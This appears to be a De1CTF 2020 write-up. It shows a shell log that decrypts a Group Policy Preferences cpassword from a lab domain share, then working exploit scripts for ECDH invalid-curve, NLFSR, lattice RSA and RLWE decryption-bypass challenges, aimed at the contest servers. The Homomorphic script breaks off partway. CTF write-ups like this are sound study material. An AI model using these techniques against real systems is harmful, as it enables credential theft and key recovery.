 Volume Serial Number is 30B1-A1C0
 Directory of \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups
04/15/2020  10:43 PM               478 Groups.xml
               1 File(s)            478 bytes
     Total Files Listed:
               1 File(s)            478 bytes
               0 Dir(s)  29,847,236,608 bytes free

C:\Users\Public> gc \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml
'gc' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Public> more \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>

用这个cpassword可以直接解出pass。 使用kali上的gpp-decrypt得到密码zL1PpP@sSwO3d 那刚好可以解zip的加密 flagDe1CTF{GpP_11Is_SoOOO_Ea3333y}

Crypto

ECDH [solved] Soreat_u

Invalid Curve Attack

原理: https://github.com/ashutosh1206/Crypton/blob/master/Diffie-Hellman-Key-Exchange/Attack-Invalid-Curve-Point/README.md

不过这里面最后一步有点问题,Tonelli–Shanks algorithm解不了模数不是素数的情况。

有几个注意点:

  1. 如何去找Curve上order为p(p为一个很小的素数)的点?

  2. $encrypt(msg, s G) == result$会有两解。(s是私钥,G是我们发过去的那个点,sG就是共享密钥)

    但是$x^2 \equiv s^2 \pmod{p_i}$肯定是对的,所以可以记录下$x^2 \pmod{p_i}$。

  3. 对一群$x^2 \pmod{p_i}$用CRT得到$s^2 \pmod{p_0 p_1 \cdots p_i}$后,怎么求出这个$s$??

    又找到了: https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2015/09/14/main-full.pdf

    根据里面的方法:

    要让那群小素数的乘积大于$ord(P) ^ 2$(而非仅大于$ord(P)$),这样就能把$s^2 \pmod{p_0 p_1 \cdots p_i}$的结果给整到$\mathbb{Z}$上(因为$s$的位数为256,$s^2$的位数为512,而$p_0 p_1 \cdots p_i$的位数大于512,所以这个$s^2 \pmod{p_0 p_1 \cdots p_i}$就是没有被mod过的$s^2$),然后直接在$\mathbb{Z}$上开根就完事了。

做题过程:

  1. 先手动去找small subgroup:

    随机找b不相同的Curve:

    sage里求出来的order,扔到 https://www.alpertron.com.ar/ECM.HTM 里去分解(这里的order基本都是256-bit的数,sagemath的factor非常慢,但这个网站能秒分出来比较小的素数)。

    后来跟出题师傅交流,师傅说GitHub上有一个可以生成这些Invalid Point的工具: https://github.com/J08nY/ecgen

  2. 然后找出小的素因子。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    
    # B  prime
    [(4, 2333),
    (4, 5657),
    (6, 499),
    (7, 1103),
    (9, 10903),
    (11, 719),
    (14, 853),
    (14, 1567),
    (19, 1373),
    (20, 431),
    (21, 661),
    (23, 1291),
    (26, 8191),
    (28, 467),
    (30, 6073),
    (32, 2281),
    (32, 9241),
    (36, 487),
    (37, 4513),
    (42, 4621),
    (44, 439),
    (50, 14407),
    (53, 929),
    (55, 2729),
    (62, 617),
    (65, 25189),
    (65, 26099),
    (66, 881),
    (66, 1009),
    (73, 8117),
    (86, 10301),
    (91, 1693),
    (96, 2069),
    (98, 2357),
    (99, 14741),
    (100, 1663),
    (102, 1447),
    (106, 23929),
    (107, 953),
    (108, 16189),
    (109, 1783),
    (111, 13099),
    (112, 5527),
    (112, 2617),
    (117, 8737)]
    

    只能交互91次,每个方程需要2次交互机会(Exchange + Encrypt),所以尽量要挑大一点(但又不能太大)的素数,最多只能有45组方程,最后一次交互需要留给Backdoor。

  3. 在相应的Curve上算出order为这些小素数的点G,这些G就是Invalid Point,我们需要利用G,让服务器用他的私钥$s$算出共享密钥$s G$,然后由于这些G的order($p_i$)很小,所以我们可以在$1 < x < p_i$中找到$x \equiv s \pmod{p_i}$。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    
    l = [
        (4, 2333), (4, 5657), (6, 499), (7, 1103),
        (9, 10903), (11, 719), (14, 853), (14, 1567),
        (19, 1373), (20, 431), (21, 661), (23, 1291),  (26, 8191),
        (28, 467), (30, 6073),(32, 2281), (32, 9241),
        (36, 487), (37, 4513),(42, 4621), (44, 439),
        (50, 14407), (53,929),
        (55, 2729),  (62, 617),
        (65, 25189), (65, 26099), (66, 881), (66, 1009), (73, 8117),
        (86, 10301), (91, 1693),
        (96, 2069), (98, 2357), (99, 14741), (100, 1663), (102, 1447),
        (106, 23929), (107, 953), (108, 16189), (109, 1783), (111, 13099),
        (112, 5527), (112, 2617), (117, 8737)
    ]
    Gs = []
    for B, prime in l:
        E = EllipticCurve(GF(P), [A, B])
        order = E.order()
    
    
        X = E.random_point()
        inf = X - X
        while True:
            G = X * int(order / prime)
            if G == inf:
                X = E.random_point()
            else:
                break
    
        print G
        Gs.append((G[0], G[1]))
    
    
    print Gs
    
  4. 然后把这些G给发给服务器,每次发完(Exchange)一个后,进行一次加密(Encrypt),把服务器加密后的结果存下来。

  5. 90次交互后,已经能有45个同余方程了:

    $$ \begin{aligned} x_1^2 &\equiv s_1^2 \pmod{p_1} \newline x_2^2 &\equiv s_2^2 \pmod{p_2} \newline & \vdots \newline x_{45}^2 &\equiv s_{45}^2 \pmod{p_{45}} \newline \end{aligned} $$

    用CRT得到$s^2 \pmod{p_1 p_2 \cdots p_{45}}$,由于$s$是个256bit的数($s^2$就是一个512bit的数),但模数的位数却大于512,所以其实这里得到的就是$s^2 \in \mathbb{Z}$,整数开根,就能得到$s$。

最终exp(python2没装pwntools,所以写的很凌乱):

exp.py文件:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
# python3
import re
from hashlib import sha256
from itertools import product
import json
from pwn import *

s = string.ascii_letters + string.digits


r = remote("134.175.225.42", 8848)
# r = remote('127.0.0.1', 9999)
context.log_level = 'debug'


# Proof of Work
rec = r.recvline().decode()

suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
digest = re.findall(r'== (.*?)\n', rec)[0]
print(f"suffix: {suffix} \ndigest: {digest}")

print('Calculating hash...')
for i in product(s, repeat=4):
    prefix = ''.join(i)
    guess = prefix + suffix
    if sha256(guess.encode()).hexdigest() == digest:
        print(guess)
        break
r.sendafter(b'Give me XXXX:', prefix.encode())

# All the precomputed G Points
Gs = [(76537662554805308062306561991720827105984890536428448592527741521590392351756, 83699754259303382766211782836580406120692664795839747263435957198637097525813), (36195622752678877759082386265237595045827478423038593652399699870308637263547, 49894329785842641236924490219226933966103953583131628900831770620943694552405), (50363988340973898811974370684820255278766628403107259664648076681888184706401, 34624217639535200040017735676560412983107227806115740946885004011402807334027), (55901824601664441142535095888221301970299239299341245285470088681575762595772, 26077657796440284021265653866917991446141229771148149686400838959342611768067), (43457911508082725200605068957812327587349394094105299267455462994685889151453, 38308625542439007490354046948363189614078419108537655956035298346162341122728), (81211403728785642653142731215322444846030397307265309966669895179558197586956, 56373660814333847339838431144852526771841217670756616764527277080999810508597), (94311281069165292510005103729532312967458460103003974147332788019566291390252, 55795649286309137211735585934975867636985130661737968749212431917116751128940), (57924735600474649874112134894866722285458192257538330987978386466277187789855, 43009485674060366185582091825043725608987551366836315016397185415721376538086), (60462915759778395954281683109774643997308217480079361008153561746015037121277, 86785310195884810672499596091734837508040382051076337054793704073938199329711), (17634714068853084033614309707848617968829229636928869468982110260112800930922, 74056191119397296636091377926747505129626439186043385368827032664369989027981), (51619854703373797225684920885364149969428663378884718811811145323530041963102, 34840309058527535828704094811584571500311514985662756197653763485389923895062), (36969996243372637414942603601864748299050796076251847874238206724786611489006, 31955972324154899383422345188422259650238370141616018600916442386818426055142), (52588896269552478619570766809165629540503567818333756597745432615460098385314, 12708622770531836736933708409036916564080143250050702576784611597598582222680), (5048381140299802029403353757459633427273391001765700126065001903275602642689, 76411989184951660512618715225668418610254541415572456170519230812716259416260), (79311240115890181951010887316603627375945566473912927454365763163305939566436, 12134948552547956921127899996759647206518517493795849155551339764317450693097), (37905525805618758138191781391018601184987580424664603486893862239268704082235, 18502004996765330260207593375785504893617688416779042722726660143225103611911), (42415574170909260408164192174864011218120103889401070002149861150744068202126, 62264240292427951656692522793036316682110442310406793012392444577144515225790), (72655679052305560562417210469366416127209178396500776771611479253935846756987, 85109395497203188212888951278835434355606917384325814085974129506642901517724), (56456353894892922896556019045809791228672424580474075307669018748143527877016, 93367320809708973728386894299779784710705943561814060064684108991663897213835), (5973131057330163485986228210212012112690977582619609702672085623098184200068, 72086691131795233917631640621688159413637078517350007756427821171808317858879), (27741389499208533747373065023809274178316625481511864397849897415036510287280, 55278308146944785619705718658381189914651733877293217321993853668317614982981), (52655592872149937264346473425482142733057177588100716332412075164750335081883, 22858144966411051153206954742490615343852661118217562472155285465081293491784), (37152937849833301812022816038769222048942209411498702790652603325530678154431, 30870996040924090370123998943976545468821106838028425003690697501865590538187), (74904421365720029422713678418776760179998537576896041915782723507036721190782, 69110816940269197021638975809224728338418328499652966414540025431173609474607), (81142176357058743446005863223468179634181077951838019980977224443237314137453, 60044361896706906065035924455302814490819823087032315146387421013747617314074), (74605532049041266687220943594441700426309760390702844680958057906608575484472, 25288926125293207399177740992505424479395808643537455791167583737464144581204), (34275654271348611636649178671370728773536909507106381827482573407114162869176, 13854627371517573731302668117477142442410283133802310950908369535203921876050), (20352221138787556411526079363656348470693893840774619189365625618994361260617, 27543561031704332335345970566881452997693012776715516872732686622499970399578), (4803940389476121051305885162715277241090196382732096194542847488020975948595, 21810640373082442479623380031267707472589658175503777811897796528316780201660), (15670709921587211421141572879061801692510131127578078295371437124650314877107, 25490584686523979387361800774778004982138659882963981321834350895275290199924), (31647875072359569956364740605590108481809736548476921494276106566604411671620, 69261891417790525986667749661771352622953937697949498217047285776292819276408), (91001893734604075746567083347875307909201714388408406309889371691637272987780, 43205416504020584538559964068682800602953014953756989285141630479403836333063), (74787727087224596564774589490845571450068516067212837722864377219038371163979, 6668898856863382809794102383968062778617763529280193406737326327074977520129), (84019477136896563534001726037582673009613062203970395694839857784521060980625, 8297201524965981632163428393829804197632623886206009143462656695373858770089), (59665389635260018526189110984414087412996127292543040719857808570703659323618, 35582234871851104259570886505486964826164608507894049572985110646098539346788), (16944049034620859203541694581148075995154066287796090018481476343482224076910, 23996179038350169058263785623259363940001608148305066563510308871604979857513), (80084016333180229653661015624229447925146081202543146503097954235598881780749, 13153320958643688461611096686566746518735731920411070699473324309890033431791), (76121551490729058250544638821861505175980852890208781244825315181099523934736, 21896068469078741531514568284242346505614771412514158623007841691138791179669), (2022474669012720827000538410021910120619882421705808447576784165161968367969, 97663003833147505249408411123233520961935136391189227020827804944797007454149), (51579344780006041503171010268839347305090438850430868878492179410211094365993, 87971298351363800765348181081512036025741203192988369028792062460247629935281), (63639598611602515209639900737264511337315294850114971177487463869908922995988, 8017270995099424529493607620441268516210051579587603887362725248586930539999), (39292714434194760824570857546079106669426957322673267644809738496364441839779, 84713442996553926382814593772536669234569628547008757193959445796224707450514), (12100911692638976550245408536334798806780088545109651409666383133066898015362, 3352460875369675149877238124066439885049110757081246686108652949747339151455), (61951183560093532370580347436205009121772271772408801482056065407773934180966, 99260389235870335922088927574011242024713805184859017468088365337399818106389), (94054877019461431533267213992181607146445822246286419689705426302961690903113, 80701569605951212470110249957563295734069733131907480582908579819207041210485)]


# Interactive
msg = b"tql".hex().encode()

results = []
# first exchange
rec = r.recvuntil(b"X:\n").decode()
print(rec)
Qx, Qy = re.findall(r"Q: \(([0-9]*?),([0-9]*?)\)", rec)[0]
Qx, Qy = int(Qx), int(Qy)
print(Qx, Qy)

r.sendline(str(Gs[0][0]).encode())
r.recvuntil(b"Y:\n")
r.sendline(str(Gs[0][1]).encode())

r.recvuntil(b"Tell me your choice:\n")
r.sendline(b"Encrypt")

r.sendline(msg)
r.recvuntil(b"The result is:\n")
res = r.recvline().decode()
results.append(res.strip())


# 44 exchanges
for i in range(1, len(Gs)):
    r.recvuntil(b"Tell me your choice:\n")
    r.sendline(b"Exchange")

    r.recvuntil(b"X:\n")
    r.sendline(str(Gs[i][0]).encode())
    r.recvuntil(b"Y:\n")
    r.sendline(str(Gs[i][1]).encode())

    r.recvuntil(b"Tell me your choice:\n")
    r.sendline(b"Encrypt")

    r.sendline(msg)
    r.recvuntil(b"The result is:\n")
    res = r.recvline().decode()
    results.append(res.strip())

print(results)

# Save
json.dump(results, open('data', "w"))

# Solve
print("\nSolving...")

cmd = "python solver.py"
try:
    res = subprocess.check_output(cmd.split(' '))
except:
    print("Can't find x...")
    exit(1)

# Find s
secret = int(res)


# Backdoor to get flag
r.recvuntil(b"Tell me your choice:\n")
r.sendline(b"Backdoor")
r.recvuntil(b"Give me the secret:\n")
r.sendline(str(secret).encode())


r.interactive()

solver.py文件:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# python2
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse

q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd
a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa
b = 0x56cbc73d8d2ad00e22f12b930d1d685136357d692fa705dae25c66bee23157b8
zero = (0,0)

Px = 0xb55c08d92cd878a3ad444a3627a52764f5a402f4a86ef700271cb17edfa739ca
Py = 0x49ee01169c130f25853b66b1b97437fb28cfc8ba38b9f497c78f4a09c17a7ab2
P = (Px,Py)


def add(p1,p2):
	if p1 == zero:
		return p2
	if p2 == zero:
		return p1
	(p1x,p1y),(p2x,p2y) = p1,p2
	if p1x == p2x and (p1y != p2y or p1y == 0):
	    return zero
	if p1x == p2x:
	    tmp = (3 * p1x * p1x + a) * inverse(2 * p1y , q) % q
	else:
	    tmp = (p2y - p1y) * inverse(p2x - p1x , q) % q
	x = (tmp * tmp - p1x - p2x) % q
	y = (tmp * (p1x - x) - p1y) % q
	return (int(x),int(y))


def mul(n,p):
	r = zero
	tmp = p
	while 0 < n:
	    if n & 1 == 1:
	        r = add(r,tmp)
	    n, tmp = n >> 1, add(tmp,tmp)
	return r

def pointToString(p):
	return "(" + str(p[0]) + "," + str(p[1]) + ")"

def pad(m):
    pad_length = q.bit_length()*2 - len(m)
    for _ in range(pad_length):
        m.insert(0,0)
    return m

def encrypt(key):
    msg = "74716c"
    data = [int(i) for i in list('{0:0b}'.format(bytes_to_long(msg.decode("hex"))))]
    enc = [data[i] ^ key[i%len(key)] for i in range(len(data))]
    result = 0
    for bit in enc:
        result = (result << 1) | bit
    result =  long_to_bytes(result).encode("hex")
    return result

def pointToKeys(p):
    x = p[0]
    y = p[1]
    tmp = x << q.bit_length() | y
    res = pad([int(i) for i in list('{0:0b}'.format(tmp))])
    return res


Gs = ...

l = [
     (4, 2333), (4, 5657), (6, 499), (7, 1103),
    (9, 10903), (11, 719), (14, 853), (14, 1567),
    (19, 1373), (20, 431), (21, 661), (23, 1291),  (26, 8191),
    (28, 467), (30, 6073),(32, 2281), (32, 9241),
    (36, 487), (37, 4513),(42, 4621), (44, 439),
     (50, 14407), (53,929),
    (55, 2729),  (62, 617),
    (65, 25189), (65, 26099), (66, 881), (66, 1009), (73, 8117),
     (86, 10301), (91, 1693),
    (96, 2069), (98, 2357), (99, 14741), (100, 1663), (102, 1447),
    (106, 23929), (107, 953), (108, 16189), (109, 1783), (111, 13099),
    (112, 5527), (112, 2617), (117, 8737)
]


import json
from tqdm import tqdm

# Read
results = json.load(open("data", "r"))

# Find x such that enc(msg, xG) == result
primes = []
X2s = []
for (B, prime), res, G in zip(l, results, Gs):
    for x in tqdm(range(1, prime)):
        S = mul(x, G)
        key = pointToKeys(S)
        if encrypt(key) == res:
            primes.append(prime)
            X2s.append(pow(x, 2, prime))
            # print("secret mod {} = {}".format(prime, x))
            break



def egcd(a, b):
    u, u1 = 1, 0
    v, v1 = 0, 1
    while b:
        q, r = divmod(a, b)
        u, u1 = u1, u - q * u1
        v, v1 = v1, v - q * v1
        a, b = b, r
    return u, v, a

def CRT_constructive(ai, mi):
    assert(isinstance(mi, list) and isinstance(ai, list))
    from functools import reduce
    M = reduce(lambda x, y: x * y, mi)
    ai_ti_Mi = [a * (M // m) * egcd(M // m, m)[0]  for (m, a) in zip(mi, ai)]
    return reduce(lambda x, y: x + y, ai_ti_Mi) % M


def isqrt(n):
    """
    Returns x such that x = floor(sqrt(n))

    Ref: https://en.wikipedia.org/wiki/Integer_square_root
    """
    xk = n
    xkp1 = (xk + n//xk) // 2
    while abs(xkp1 - xk) >= 1:
        xk = xkp1
        xkp1 = (xk + n//xk) // 2
    return xkp1

# s^2 mod (p1 p2 ... pi)
secret2 = CRT_constructive(X2s, primes)

secret = isqrt(secret2)
print(secret)

De1CTF{c47b5984-1a7c-49f5-a2e3-525d83b50ecf}

NLFSR [solved] Soreat_u

a可以用快速相关攻击。 b,c,d就直接爆,$2^{19} \times 2^{13} \times 2^6 = 2^{38}$。

代码写得好一点,爆起来应该挺快。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>


uint32_t MASK = 0xffffff;


// def lfsr(r, m): return ((r << 1) & 0xffffff) ^ (bin(r & m).count('1') % 2)

uint32_t lfsr(
    uint32_t state, uint32_t mask
) {
    int i = 0;
    for(uint32_t s = state & mask; s; s >>= 1)
        i ^= s & 1;
    return ((state << 1) & MASK) ^ i;
}


uint8_t seq[] = {
    0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,
};


void guessA(
) {
    uint32_t possible_a = 0;
    uint32_t max_yes = 0;

    for (uint32_t A = 0; A < (1<<19); A++) {
        uint32_t a = A;
        uint32_t yes = 0;

        for (int i = 0; i < 945; i++) {
            a = lfsr(a, 0x505a1);
            if ((a & 1) == seq[i]) yes++;
        }

        if (yes > max_yes) {
            possible_a = A;
            max_yes = yes;
        }

        if (A % 10000 == 0)
            printf("%d\n", A);
    }
    printf("%d %d\n", possible_a, max_yes); // 363445
}

void getOutput(uint32_t init, uint32_t mask, uint_fast8_t * output) {
    for (uint32_t i = 0; i < 50; i++) {
        init = lfsr(init, mask);
        output[i] = init & 1;
    }
}

void brute_force(
) {
    uint32_t A = 363445;
    uint32_t B = 0;
    uint32_t C = 0;
    uint32_t D = 0;

    uint8_t Ao[50] = {};
    uint8_t **Bo = (uint8_t **)malloc(sizeof(uint8_t *)*524288);
    uint8_t **Co = (uint8_t **)malloc(sizeof(uint8_t *)*8192);
    uint8_t **Do = (uint8_t **)malloc(sizeof(uint8_t *)*64);

    // Precomputed
    getOutput(A, 0x505a1, Ao);
    for (B = 0; B < (1<<19); B++) {
        Bo[B] = (uint8_t *)malloc(sizeof(uint8_t)*50);
        getOutput(B, 0x40f3f, Bo[B]);
    }
    for (C = 0; C < (1<<13); C++) {
        Co[C] = (uint8_t *)malloc(sizeof(uint8_t)*50);
        getOutput(C, 0x1f02, Co[C]);
    }
    for (D = 0; D < (1<<6); D++) {
        Do[D] = (uint8_t *)malloc(sizeof(uint8_t)*50);
        getOutput(D, 0x31, Do[D]);
    }

    // brute force: 2**19 * 2**13 * 2**6
    for (B = 0; B < (1<<19); B++) {
        for (C = 0; C < (1<<13); C++) {
            for (D = 0; D < (1<<6); D++) {
                for (int i = 0; i < 50; i++) {
                    uint_fast8_t cmb = (Ao[i]*Bo[B][i]) ^ (Bo[B][i]*Co[C][i]) ^ (Bo[B][i]*Do[D][i]) ^ Co[C][i] ^ Do[D][i];
                    if (cmb != seq[i]) {
                        break;
                    }
                    if (i == 49) {
                        printf("%d, %d, %d\n", B, C, D);
                    }
                }
            }
        }
        if (B % 1000 == 0)
            printf("%d\n", B);
    }
}



int main(
) {
    // guessA();   // a = 363445
    brute_force();
        // b = 494934
        // c = 4406
        // d = 63
    // test();
}

De1CTF{58bb578d5611363f}

easyRSA [solved] Soreat_u

东找西找,终于找到了这篇: https://link.springer.com/chapter/10.1007/3-540-46701-7_14

结合了Wiener的Continued Fraction和Guo的Lattice Reduction:

用sagemath实现了一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# sagemath
R = RealField(10000)

alpha = 731/2048.0
M1 = round( R(N)^0.5 )
M2 = round( R(N)^(1+alpha) )

L1 = Matrix(ZZ, [
    [1, -N,   0,  N^2],
    [0, e1, -e1, -e1*N],
    [0,  0,  e2, -e2*N],
    [0,  0,   0, e1*e2]
])
balance = diagonal_matrix(ZZ, [
    N, M1, M2, 1
])

L2 = L1 * balance
L = L2.LLL()

sv = Matrix(ZZ, L[0])

b = L2.solve_left(sv) # b * L2 = sv
# b: (k1k2, d1gk2, d2gk1, d1d2g^2)

phi = (b[0,1]/b[0,0]*e1).floor()  # e1 d1g/k1 = 1/k1 + phi

print phi

先在本地上生成了一些数据测试了一下,发现如果按照出题师傅给的那个genE,得到的d一般都是730、731bit。

但是LLL能规约出来的条件是:

$$ \alpha_2 < 5/14 - \epsilon' $$

也就是d的位数要小于2048 * 5/14 = 731.43

但d的位数很接近这个upper bound,有些时候,可能会规约不出来(难道需要修改下LLL的参数??LLL太玄乎了)。

但是如果这个d是720bit,或者位数比731小的d,基本上就肯定能规约出来。

观察到LLL规约出来的结果一定程序上是会受到$\alpha$这个参数的影响。不断地手动调整$\alpha$的取值,后来终于在$\alpha = 727/2048$的时候看到了flag:

Homomorphic [solved] Soreat_u

看到代码里有error,就联想到了LWE(Learning with errors)。

搜了一下homomorphic encryption from learning with errors,找到了一个叫做The Ring Learning with Errors (RLWE) Problem的东西。

速学了一下。

感觉跟之前的GGH、mceliece很类似,都是先变换一下,然后加上个error,这样别人就很难解密了,除非有trapdoor information。

又去搜了一下一些相关题目:

后来仔细审了一遍给的task.sage,发现服务器居然可以帮我们Decrypt,虽然有一个check,但是check的只是我们发给服务器的密文是不是跟加密的flag一样,由于他是可以Learning with errors的,所以再给密文整一点error,还是可以解密出来的,这样就可以bypass check。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import re
import json
import ast
from hashlib import sha256
from itertools import product
from pwn import *

s = string.ascii_letters + string.digits


r = remote("106.52.180.168", 8848)
# context.log_level = 'debug'
# r = remote('127.0.0.1', 8848)


# Proof of Work
rec = r.recvline().decode()

suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
digest = re.findall(r'== (.*?)\n', rec)[0]
print(f"suffix: {suffix} \ndigest: {digest}")

print('Calculating hash...')
for i in product(s, repeat=4):
    prefix = ''.join(i)
    guess = prefix + suffix
    if sha256(guess.encode()).hexdigest() == digest:
        print(guess)
        break
r.sendafter(b'Give me XXXX:', prefix.encode())


# parse
print(r.readlines(2))
b = ast.literal_eval(r.recvline().decode().strip("pk0: \n"))
a = ast.literal_eval(r.readline().decode().strip("pk1: \n"))
print(len(b), len(a))

r.readlines(1)

c0s = []
c1s = []
for i in range(44):
    c0s.append(ast.literal_eval(r.recvline().decode()))
    c1s.append(ast.literal_eval(r.recvline().decode()))
